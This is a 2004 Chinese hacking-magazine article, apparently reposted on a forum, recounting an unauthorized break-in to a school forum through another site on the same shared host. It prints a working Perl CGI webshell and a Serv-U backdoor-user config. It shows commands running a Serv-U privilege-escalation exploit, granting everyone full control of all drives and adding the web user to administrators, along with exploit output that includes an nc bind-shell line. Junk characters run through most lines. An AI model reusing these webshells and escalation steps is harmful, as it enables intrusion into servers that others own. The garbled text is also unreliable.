剑走偏锋——灵巧的旁注攻击 , Q* }0 {7 [8 w1 w& b! P2 _: z4 F* O! D
本文作者:angel
5 H* X+ o4 ^- Z文章性质:原创
% U" S8 \, D; X) J发布日期:2004-11-09
& U# ^9 Q/ }/ J! S1 X$ K注意:
3 ?7 o& [" E) B: D# V# E6 U$ h, i本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
O+ f, L3 I+ Q* J; a$ b本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
7 S8 a7 X2 Z2 D& Q% }' f, e, Q6 U4 X4 @4 i7 f1 z0 z: u+ h/ y ?
终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 ! Q+ y/ [- h7 ?
0 t4 R8 Q1 v! y7 O4 m3 ^ 一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
C8 }4 x1 o$ ~
2 |( Q& G# X$ D. M2 A. `0 z 不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 ' z) \* ?- W2 O% J- B
: D n+ E$ `: d 一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 1 `. v$ `; u# F( f/ \1 R
( T- _9 N Q) @7 ~' E. M, T2 r8 E
大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 " d1 g4 V* F" |
$ I2 ]: `5 k' x6 e9 P! C- I, ?1 {
没有目的的跳转目录着……
% j% W% X+ G8 e# p" S8 V) h4 C* g
b! Q7 O7 T6 W7 ^6 F9 m 我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
2 l: y) h+ Z# d- r) c1 Y3 p5 j) k0 U r8 o2 A! g+ s
结束了吗?不,我试着 FTP 一下: 6 g( M6 k8 Y, w' b
+ T- ?0 V5 I9 B/ `% F% [8 h* i n' c- YMicrosoft Windows 2000 [Version 5.00.2195]
$ i( Z* \; U" L4 N: t(C) 版权所有 1985-2000 Microsoft Corp. ) G" T; i i1 {2 X5 i
1 h$ O3 e0 G# c9 p0 m
C:\Documents and Settings\Administrator>ftp www.school.com Z7 U/ o! D. A2 B6 m
Connected to www. school.com. " u- u7 r$ W: H* S, B
220 Welcome to FTP Server... 2 Z5 m7 J1 z6 @& N
User (www.bjtrq.com:(none)):
, c. ?& X$ k! f# K331 User name okay, need password. - U) ~) u$ a) E1 ]4 c6 e( _
Password: 5 |1 F7 w) M( g# L$ u/ e( u
530 Not logged in.
+ ?, c+ Q3 N" m9 u% SLogin failed. t; R+ }3 K8 j( \, x5 {7 O% ?
ftp> bye + _: [9 \: W4 K- [% c
221 Goodbye!
: \* c- ~4 V3 G$ J: I+ P " A) N+ \7 s, n
4 ?1 [/ ?% [( Y5 ^, t6 M" _% `
从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
+ q* ]& r6 p" u6 f1 d" W
3 L1 u1 t. R- G# x; R+ G, B 原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
9 }! q' _# r/ S8 }
# a5 h$ _2 u/ t# e% S5 A& l0 l! QApplication Data
, N1 T# n" X! H6 c9 ?# i( E3 ]Documents
- K. h! M' l# {" r5 }) D* W/ iDRM
+ b8 n6 ^( X" v' eFavorites: o) u9 G0 B! ^# Y
Templates% L* p' Q; O4 M! g3 \2 p/ @5 d7 _1 L8 Q
「开始」菜单* F; O( j: y- G0 m* v8 X* ?, K
桌面+ t( O [8 ]7 a0 J9 w
; r6 s9 m: M1 s, U- ?1 H. o! f8 f' h# w7 E
马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
}% h: B# _# z" n( H; w3 h
# o9 O9 G# ]- _ActiveState ActivePerl 5.8) m2 V. L- x( Z5 Z8 L0 w# ?
Administrative Tools, o3 h4 C& B6 J* m
Deerfield.com
- o5 `: P' E' s4 F# oDTemp+ M- L) p! Y. P. B6 z
IPSentry
/ J7 |0 S" n" a1 k/ h3 P9 DMBM 53 G- o2 x+ i, ]9 a( z
NetMeter5 G5 S0 x; ?0 F! q7 b
Network ICE
! H1 m0 n" s% {& J/ ^Persits Software AspEmail$ V3 j$ C/ j2 Q0 J8 Z
Persits Software AspJpeg0 e6 f' _& J" V" p
Serv-U FTP Server
; k0 i9 [" t8 O! v- p& mSymantec Client Security
3 [6 s1 d' {+ LWindows 优化大师
8 ~+ r9 j1 F5 N: o/ F c/ Y8 C# c* O: OWinRAR- p* [1 z$ Y# p3 A) u+ b
启动
$ ?" s0 F6 E9 K2 d/ x3 J& ?管理工具- {2 {# N% O; V& m$ Q. X S; l. |( [
附件# [- m- W0 C) n" @
c+ ^% o% e) \/ n
L+ Y+ w- e/ N# ? U; E. @
呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 ! _7 n) x0 r* i0 U) \! |: x. @& O
; r% k$ J* F0 j; X
先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
6 ] c9 g2 |! y. `. w
1 j- R6 f9 K! F/ |User281=angel|1|0 4 w! i6 R% r/ [. { ^3 K, q
; W+ K- z# {* o1 o# t" ]/ t8 A& R5 U
0 c; x! f( }( S7 Q" h
然后加上 ) c% C+ z; e1 W+ x6 Y; M. i
" n# I% w0 r2 H4 W2 c[USER=angel|1]: A f+ X/ E+ }: A8 w/ X+ J% S
Password=ng98F85379EA68DBF97BAADCA99B69B805
- N5 [, H& \, Z8 @+ [HomeDir=D:\websites3 e6 ]: A7 a9 y- Y4 t3 X
RelPaths=1
# B* {# X+ W7 m( I1 QTimeOut=600# e% z- |4 j- z3 q) [; M8 u
Maintenance=System3 T& q l g) c
Access1=D:\websites|RWAMELCDP+ u" d" ^2 c6 q6 E( t& ]0 m
SKEYValues=+ [6 g, a( r; F" l. }& H8 [( k) h* [
9 N0 d" ]3 ~' i8 w( x7 {* u, I0 k0 k
% Y8 p/ d4 x' ]! d 添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… + C% X0 O3 S) z
0 e* ?7 F' ~2 K 不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 % W c7 v! L4 a! I8 R9 C# r) p3 w2 ~
( H' [6 S0 c+ ]3 W
不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 $ e6 k, ?- f& g1 X/ }! p8 I
3 |- l! U: s% d" {1 H
还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: ' c3 o% j$ d5 n: N; C
$ ?, m6 o& H) {3 N#!/usr/bin/perl5 h% e4 T7 z- S: \) @% d
binmode(STDOUT);
, Y- F+ O7 x0 \+ Z1 @' z% ]0 x2 a% }syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);" i. d( q: Z, G! F) }% ?4 r( D s6 a
$_ = $ENV{QUERY_STRING};7 |& d. {+ c6 K6 {0 [
s/%20/ /ig;1 M, T5 [3 N. s9 z( p
s/%2f/\//ig;
% e# s% m/ [) }& G$execthis = $_;2 M% A% p0 W) n; `( Q5 \
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
+ O. @! H2 b/ d& q/ nopen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";' r+ d8 I! L2 z, U! k: l- \
system($execthis);2 H7 ~& V% ~7 b
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
1 L2 M& Q2 Q6 T6 }# w. O" }close(STDERR);# n* e' g: l2 J- S
close(STDOUT);9 ^. O$ V0 V) ?9 L
exit;. p/ H& T) p* Z7 m2 ^! P
, p! g; _. Q/ u) e
. U( U$ r# h% E1 z2 E 我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
; I4 Z& r3 \# c4 [' d3 ?. h/ U
1 F2 ]$ K9 |3 S, S 显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
# N8 O" I3 }* f$ P; O, f( @
/ d r ^! D0 f& Qhttp://anyhost//cmd.pl?d:\user\bin\su.exe ) V# I `2 e5 ^4 t$ d, B6 M+ ~
9 A8 ~+ Q1 u( `3 Q. K
8 Z! m6 Y/ f$ W, K) v6 {; _6 u
返回:
% Z: L' o; I; l, k0 t0 y9 F% D. \$ z0 n
! J: ?4 }- E+ @7 RServ-u >3.x Local Exploit by xiaolu - F) D) p4 {' j' w3 r
* U: T/ H1 J( Q# t9 iUSAGE: serv-u.exe "command"
. R: X/ f/ f1 q9 O5 f* C) V" \3 N+ T, Z
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
; O5 Y4 D1 y( l
% y6 S/ E( W; C" i1 s/ F# n3 n* X) q" `0 k. z
嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
6 j: @4 k: G5 V
2 L+ o1 x" x& _) B1 Qhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" ( c& s8 V5 T) L. v8 e: n) j
; A: T3 L' A5 N& ihttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
8 h7 D$ Y3 k, b; ^+ g4 Z6 ]* g1 F; k6 V5 r/ _" L2 w
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
# x' b, H$ l% r0 j
* R% j) J. L* J: s# O6 i& ^' Uhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
# ?1 a* E3 T2 w4 [) H ) i/ W/ b6 X& L/ G1 |; M% L0 P! J
5 _1 ?- t9 \* q5 o4 g% P9 X 返回下面的信息,就表示成功了!!! * j; N6 j* O# f! l7 b% |
& d+ M6 l. F& E, N& ~, \Serv-u >3.x Local Exploit by xiaolu 9 U4 B1 ]( ~$ k9 I% p
! b0 b, Q" c; l# c- q
<220 Serv-U FTP Server v5.2 for WinSock ready... " a4 S' p H# n
! o3 u1 T" U6 @6 o& i>USER LocalAdministrator 9 }; ^1 I7 s4 W0 E, Z: T# q
' S% o( M8 S& T<331 User name okay, need password. , B3 a# U) V; m" M+ i, M
( E+ {6 H0 }7 P. t) T
******************************************************
1 p7 e1 Y$ `; ]; H/ J' x0 O3 y& ^( Y7 B- ~
>PASS #l@$ak#.lk;0@P
+ y' w2 d& R/ x% ]* X: t% f. h0 A F- Y
<230 User logged in, proceed. & D4 |* s5 k; h
2 d6 s, R6 A$ v- Q1 @- A******************************************************
7 g! M$ w4 _: Y
+ A& F' A/ Q4 Z) o% ~0 ?' f>SITE MAINTENANCE
3 C; E- W M2 L
* r- a' l7 z7 ]9 L B& `2 y% J X****************************************************** - L' Q0 L7 Y; y# W
0 v' [% p1 E a# a$ y[+] Creating New Domain... ( T: W% m( k" V( @, t' L' H
7 Z" g( O7 L, {<200-DomainID=2
( j( a4 x3 @: i; h
/ V) t1 ]8 N+ [! h# F8 c<220 Domain settings saved 3 y! I. }- k0 [& s$ {1 H U- T
3 O8 q: U6 \' M: j; o
******************************************************
9 }4 D* K/ Z% q8 A p0 e
$ }7 ~0 @2 N) @" z( ?" S[+] Domain xl:2 Created ( v( _. A, I. y- S
- A) F. X6 S5 A( I$ G: i
[+] Creating Evil User
- }- ~% ?# u% ^5 U9 I/ O
0 ?4 d/ U3 s& m$ _<200-User=xl
. b( A6 v9 ]. m+ ^! m1 T& m
/ }' O+ [5 ?: c! U( j5 g200 User settings saved
+ s$ b! O3 A8 W- D* l0 T9 O v& m# B
****************************************************** ; Y3 v7 ?4 D) d- h5 i" X+ l' M" A6 j
2 |( r. k; f/ R+ e4 k
[+] Now Exploiting... k8 V# x2 g4 s9 @
" Y& t* y; \6 D
>USER xl % V3 O6 d: K5 R1 L ]( y
. f+ W7 C- C6 j' w
<331 User name okay, need password. 2 x9 T# Q: q0 h5 g |3 n9 m
{6 N( j3 {/ b! p3 m# q* y, r" I9 ?3 ]****************************************************** : C9 v, U% C4 n8 f# P: O
7 h( K! e5 Z) S% l>PASS 111111 $ R3 e0 I7 G8 o, B$ U5 [
& `2 R. @8 D0 N( Z
<230 User logged in, proceed.
* f( [( e' v2 W; s/ u! P5 I D1 U. U! b1 K
****************************************************** ' U! I8 n: J" g/ G8 `8 c. ~
& C' q! |! {! s0 N[+] Now Executing: cacls.exe c: /E /T /G everyone:F
# @ s7 z9 R @: U5 V# c* f% i
G7 h& T* u2 q5 u<220 Domain deleted " i* w- V. n% I/ O, u" A
2 B) S9 |: E- W: } k9 d" q******************************************************
: _1 z: m3 R$ t5 P( ^
: z- y p# L q. j3 i) `! Y8 D
3 T- r! b" @% ~1 e7 o4 B 每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
! g1 }$ I" i: R& O/ t5 H$ D" l
( G4 u2 D( n5 X+ }9 [http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
. r* [: G/ a# w, M( w# e7 L
6 P6 Y/ B/ y4 o. d( k( J0 I" s5 L8 A2 o0 m* |
现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
- p- w* F$ @% O) ~. u, y5 q+ A9 J6 n& W! @% Z% f: {! J+ Z0 m
说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。, u0 j5 P% B0 z5 @8 D; O9 m
7 i7 q$ L! X7 [/ Y( |
7 U' n+ |7 b" P; e+ z |